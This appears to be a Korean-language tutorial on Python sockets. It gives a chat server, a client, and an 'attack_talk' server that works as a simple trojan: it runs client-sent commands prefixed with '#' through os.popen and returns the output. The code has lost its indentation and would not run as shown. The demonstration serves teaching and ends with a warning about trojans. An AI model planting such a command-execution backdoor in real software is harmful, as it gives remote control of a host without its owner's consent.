머리말
소켓은 양방향 통신 채널의 끝점입니다. 소켓은 프로세스 내에서, 동일한 시스템의 프로세스 간 또는 인터넷 연결이 가능한 모든 시스템일 수 있는 다른 호스트의 프로세스 간에 통신할 수 있습니다.
1. 기본 문법
소켓을 생성하려면 소켓 모듈에서 소켓.socket() 함수를 사용해야 합니다.
s.bind(), 이 메소드는 주소(호스트 이름, 포트 번호 쌍)를 소켓에 바인딩합니다.
s.listen() 이 메소드는 TCP 리스너를 설정하고 시작합니다.
s.accept() 이 메소드는 TCP 클라이언트 연결을 수동적으로 승인하고 연결이 도착할 때까지 기다립니다(차단). 설정하지 않으면 한 번에 하나의 클라이언트만 연결할 수 있습니다.
. recv() 이 메소드는 TCP 메시지를 수신합니다.
s.send() 이 메소드는 TCP 메시지를 보냅니다.
s.recvfrom() 이 메소드는 UDP 메시지를 받습니다.
s.sendto() 이 메소드는 UDP 메시지를 보냅니다.
s.close() 이 메소드는 소켓을 닫습니다.
소켓.gethostname() 호스트 이름을 반환합니다.
2. 코드 구현
1. 서버
import os
import socket
def normal_talk():
s=socket.socket()#不带括号返回的是地址
s.bind(('127.0.0.1',6667))#只允许本设备进行访问0.0.0.0所有设备均可访问
s.listen()
chanle,client=s.accept() #无法接收多个客户端
while True:
#chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接
receive=chanle.recv(1024).decode()#decode解码,encode转码
print(f'收到消息:{
receive}')
reply=receive.replace('吗?',"!")
chanle.send(reply.encode())
#s.close() #在死循环之后的代码不能执行
# 一个python文件通常有两种使用方法,第一是作为脚本直接执行,第二是
# import 到其他的
# python
# 脚本中被调用(模块重用)执行。因此
# if __name__ == 'main': 的作用就是控制这两种情况执行代码的过程,在
# if __name__ == 'main': 下的代码只有在第一种情况下(即文件作为脚本直接执行)才会被执行,而
# import 到其他脚本中是不会被执行的。
#核心思路:客户端发送一条特殊字符串,里面包含要执行的命令,让服务端执行命令并返回结果
def attack_talk():
s = socket.socket()# 不带括号返回的是地址
try:
s.bind(('127.0.0.1', 6667)) # 只允许本设备进行访问0.0.0.0所有设备均可访问
s.listen()
chanle, client = s.accept() # 无法接收多个客户端
while True:
# chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接
receive = chanle.recv(10240).decode()# decode解码,encode转码
if receive.startswith('#'):#判断字符串是否以#开头
command=receive.split(',')[-1]
reply=os.popen(command).read()#接收到的命令,小马
chanle.send(f"命令{
command}的运行结果:\n{
reply}".encode())#发送数据,默认编码utf8
elif receive==None:
attack_talk()
else:
print(f'收到消息:{
receive}')
reply = receive.replace('吗?', "!")
chanle.send(reply.encode())
except:
s.close()
attack_talk()
if __name__=='__main__':
attack_talk()#当其他python文件调用这个函数时,这里面的不会被执
2.클라이언트
import socket
s=socket.socket()
s.connect(('127.0.0.1',6667))#建立连接
while True:
message=input('请输入消息:')
s.send(message.encode())#客户端给服务端发送消息,默认以utf8方式编码
re=s.recv(10240)#客户端接收服务端发送的消息
print(f'服务器回复:{
re.decode()}')
요약하다
귀하의 개인 정보를 위험에 빠뜨릴 수 있는 악성 트로이 목마가 포함되어 있지 않도록 온라인으로 다운로드한 응용 프로그램에 주의해야 합니다.